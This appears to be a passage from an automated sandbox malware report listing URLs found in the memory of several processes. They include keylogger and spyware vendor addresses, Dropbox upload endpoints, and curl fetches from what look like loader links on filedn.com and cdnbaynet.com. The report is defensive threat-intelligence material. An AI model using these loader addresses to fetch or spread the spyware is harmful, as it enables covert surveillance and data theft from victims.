Source: spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.actualkeylogger.com/help.htmlhttp://spyrix.com/manual.phpU
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: [space]= .exe, 00000012.00000003.2049227259.0000000002440000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000012.00000003.2583732673.00000000021C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000031C0000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2574644811.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.dk-soft.org/
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: spkl.exe, spkl.exe, 00000035.00000002.2971872040.0000000004541000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2923493069.0000000000863000.00000040.00000001.01000000.00000014.sdmp, spmm.exe, 00000049.00000002.2927093820.0000000002401000.00000004.00001000.00020000.00000000.sdmp, spmm.exe, 00000049.00000000.2712353086.0000000000401000.00000020.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.indyproject.org/
Source: spkl.exe	String found in binary or memory: http://www.indyproject.org/Original
Source: [space]= .exe, 00000012.00000003.2050312910.000000007FD10000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000012.00000003.2049890416.0000000002440000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000000.2051232683.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: [space]= .tmp, 00000013.00000003.2564952480.00000000033C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000032E1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jrsoftware.org/0
Source: [space]= .exe, 00000012.00000000.2048720751.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: spkl.exe, 00000035.00000003.2616085181.0000000007810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.myspace.com/my/mail
Source: spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2616085181.0000000007810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.myspace.com/search/
Source: spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2616085181.0000000007810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.ok.ru/dk?st.cmd=searchResult
Source: [space]= .exe, 00000012.00000003.2050312910.000000007FD10000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000012.00000003.2049890416.0000000002440000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000000.2051232683.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com
Source: [space]= .exe, 00000012.00000003.2049227259.0000000002440000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000012.00000003.2583732673.000000000226E000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2562658084.0000000003240000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000031C0000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2564952480.00000000033F2000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2574644811.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com/
Source: spkl.exe	String found in binary or memory: http://www.spyrix.com/manual.php#registrate
Source: spkl.exe, 00000035.00000003.2555270269.0000000004591000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2977775602.000000000652A000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2933829318.00000000009EA000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://www.spyrix.com/osticket/upload/open.php
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com/pro_upgrade.htm?lic=
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com/purchase.php
Source: spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com/purchase.php?prg=sfksT
Source: [space]= .tmp, 00000013.00000003.2574644811.00000000021A0000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2562658084.0000000003325000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com/terms-of-use.php)
Source: spkl.exe, 00000035.00000002.2933829318.0000000000915000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2555270269.00000000044CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.net/ibann
Source: spmm.exe, 00000049.00000002.2933603413.0000000061E9E000.00000008.00000001.01000000.00000015.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: [space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/token
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/chunked_upload
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/chunked_upload?
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/commit_chunked_upload
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/files/dropbox
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/files/sandbox
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/files_put
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/files_put?
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/account/info
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/account/info?
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/delta
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/delta?
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/copy
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/copy?
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/create_folder
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/create_folder?
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/delete
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/delete?
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/move
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/move?
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/metadata/dropbox
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/metadata/sandbox
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/oauth/access_token
Source: spkl.exe	String found in binary or memory: https://api.dropbox.com/1/oauth/access_token?
Source: spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/oauth/access_token?SV
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/oauth/request_token
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/oauth/request_token?
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/shares/dropbox
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/shares/sandbox
Source: [space]= .tmp, 00000013.00000003.2562658084.0000000003303000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cdndownload.net/proxy/list.json
Source: curl.exe, 0000000C.00000002.1788586012.0000000003280000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000003.1788331941.0000000003291000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000002.1788609338.0000000003295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfk
Source: curl.exe, 0000000C.00000003.1788444030.0000000003294000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000003.1788331941.0000000003291000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000002.1788609338.0000000003295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfk%
Source: curl.exe, 0000000C.00000003.1788444030.0000000003294000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000003.1788331941.0000000003291000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000002.1788609338.0000000003295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfkE
Source: curl.exe, 0000000C.00000002.1788586012.0000000003280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfkG
Source: curl.exe, 0000000C.00000003.1788444030.0000000003294000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000003.1788331941.0000000003291000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000002.1788609338.0000000003295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfkM
Source: cmd.exe, 00000008.00000003.1751133117.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000002.1788586012.0000000003280000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000002.1788536775.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfkWinsta0
Source: curl.exe, 0000000C.00000002.1788647034.00000000032C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfkX0
Source: cmd.exe, 00000008.00000003.1751133117.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000002.1788586012.0000000003280000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000002.1788536775.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfkcurl.exe
Source: spkl.exe, 00000035.00000002.2984780387.0000000007D10000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2870771422.0000000007D8D000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2984780387.0000000007DBC000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2871310648.0000000007D84000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2958710472.0000000001910000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2989667203.0000000008736000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: qrl.exe, 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmp, qrl.exe, 00000045.00000002.2765239399.000000000106A000.00000008.00000001.01000000.00000017.sdmp, qrl.exe, 00000047.00000002.2756141897.000000000106A000.00000008.00000001.01000000.00000017.sdmp, qrl.exe, 0000004A.00000002.2767899122.000000000106A000.00000008.00000001.01000000.00000017.sdmp	String found in binary or memory: https://curl.haxx.se/P
Source: spkl.exe, 00000035.00000002.2984780387.0000000007D59000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmp, qrl.exe, 00000045.00000002.2765239399.000000000106A000.00000008.00000001.01000000.00000017.sdmp, qrl.exe, 00000047.00000002.2756141897.000000000106A000.00000008.00000001.01000000.00000017.sdmp, qrl.exe, 0000004A.00000002.2767899122.000000000106A000.00000008.00000001.01000000.00000017.sdmp	String found in binary or memory: https://curl.haxx.se/docs/copyright.htmlD
Source: qrl.exe, qrl.exe, 00000043.00000000.2678705476.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000045.00000002.2757157897.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000047.00000002.2746063564.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004A.00000002.2767609599.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: qrl.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html#
Source: qrl.exe, qrl.exe, 00000043.00000000.2678705476.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000045.00000002.2757157897.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000047.00000002.2746063564.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004A.00000002.2767609599.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://curl.haxx.se/docs/sslcerts.html
Source: qrl.exe	String found in binary or memory: https://curl.haxx.se/docs/sslcerts.htmlcurl
Source: qrl.exe, 0000004A.00000002.2767609599.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://curl.haxx.se/libcurl/c/curl_easy_setopt.html
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.actualkeylogger.com
Source: spkl.exe	String found in binary or memory: https://dashboard.actualkeylogger.com/account/login-from-program
Source: spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.actualkeylogger.com/account/login-from-programspsMapspsJSON
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.clevercontrol.com/account/user-hash-gen
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com
Source: spkl.exe, 00000035.00000002.2984780387.0000000007DBC000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2871310648.0000000007D84000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2958710472.0000000001910000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2984780387.0000000007D8C000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2989667203.0000000008736000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2984780387.0000000007D9B000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2980946676.0000000006BBA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/
Source: spkl.exe, 00000035.00000002.2977775602.000000000652A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/.spyrix.com/
Source: spkl.exe, 00000035.00000002.2977775602.000000000652A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/.spyrix.com/6s
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/account/login-from-program
Source: [space]= .tmp, 00000013.00000003.2574644811.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/account/login-from-program?email=
Source: spkl.exe, 00000035.00000002.2971872040.00000000044E6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/ix.com/
Source: spkl.exe, 00000035.00000002.2977775602.000000000652A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/qqS
Source: spkl.exe, 00000035.00000002.2980946676.0000000006BBA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/x.com/
Source: [space]= .exe, 00000006.00000002.1984705669.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com
Source: curl.exe, 00000005.00000002.1700541419.000001295C1A0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700375385.000001295C1BE000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000002.1700541419.000001295C1A8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700285153.000001295C1BD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000002.1700541419.000001295C1BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404
Source: curl.exe, 00000005.00000002.1700541419.000001295C1A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404.=
Source: curl.exe, 00000005.00000002.1700541419.000001295C1A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404103
Source: curl.exe, 00000005.00000003.1700375385.000001295C1BE000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700285153.000001295C1BD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000002.1700541419.000001295C1BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/4047
Source: curl.exe, 00000005.00000003.1700375385.000001295C1BE000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700285153.000001295C1BD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000002.1700541419.000001295C1BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404E
Source: curl.exe, 00000005.00000002.1700541419.000001295C1A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404Winsta0
Source: curl.exe, 00000005.00000002.1700541419.000001295C1A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404curl.exe
